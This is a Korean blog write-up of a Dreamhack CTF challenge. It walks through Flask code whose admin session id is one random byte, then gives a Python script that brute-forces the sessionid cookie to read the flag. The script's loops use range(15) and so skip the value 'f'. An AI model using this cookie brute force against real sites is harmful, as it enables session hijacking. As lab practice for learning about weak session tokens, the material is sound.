users = {
'guest': 'guest',
'user': 'user1234',
'admin': FLAG
}
session_storage = {
}
@app.route('/')
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
username이 adminn이면 flag를 볼 수 있다.
username은 session_storge에서 session_id로 가져오는데 우리는 admin값을 가지는 session_id를 현재 모른다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("not found user");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(4).hex()
session_storage[session_id] = username
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
login url의 코드이다.
users에 있는 값을 pw로 가져오고 입력한 password가 pw와 같다면 session_storgae의 session_id 값을 username으로
설정하고 index 페이지로 이동한다.
여기서 admin으로 로그인을 성공한다면 session_storgae의 session_id 값을 admin으로 설정하고 index 페이지로 이동하기 때문에 flag를 볼 수 있을 것이다.
하지만 admin계정의 비밀번호가 flag이기 때문에 로그인을 할 수가 없다.
어떻게 해야 sessionid를 가져올 수 있을지 한참 고민을 했는데 풀이는 허무했다.
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
flask 실행 부분에서 os.urandom(1).hex()로 session_storage에 값을 저장하는데
os.urandom(1).hex()는 임의의 1바이트를 16진수로 바꾼다.
1바이트는 0~255의 값이기 때문에 16진수 2글자로 값이 정해진다.
즉, 0~9, a~f 만 이용해서 2글자를 만들어서 모든 경우의 수를 sessionid로 넣어주다 보면 admin 값이 나오게 된다.
import requests
from bs4 import BeautifulSoup
URL='http://host3.dreamhack.games:8660/'
list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
cookie=""
for i in range(15):
for j in range(15):
cookie=""
cookie+=list[i]
cookie+=list[j]
cookies = {'sessionid':cookie}
print(cookie)
res = requests.get(URL, cookies=cookies)
#print(res.text)
soup = BeautifulSoup(res.text, 'html.parser')
h3_tags = soup.find_all('h3')
for h3 in h3_tags:
print(h3.get_text())
exploit 코드이다.
2중 for문으로 2글자짜리 cookie를 생성하고 requests.get으로 요청을 보낸다.
그리고 확인 결과
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')
이 코드에서 text가 h3 태그에 담기기 때문에
html 파싱을 이용해서 h3태그의 text 값을 불러와서 출력시킨다.
어차피 session_id가 틀렸다면 아무 값도 출력되지 않을 것이기 때문에 편하다.
print(cookie)는 없어도 되지만 그냥 제대로 동작하는지 보려고 넣었다.
이렇게 중간에 flag가 출력된다.
'웹해킹' 카테고리의 다른 글
드림핵 pathtraversal 롸업 (1) | 2024.01.06 |
---|---|
드림핵 web-misconf-1 롸업 (0) | 2023.12.22 |
드림핵 simple-web-request 롸업 (0) | 2023.12.20 |
드림핵 ex-reg-ex 롸업 (0) | 2023.12.20 |
드림핵 Flying Chars 롸업 (0) | 2023.12.20 |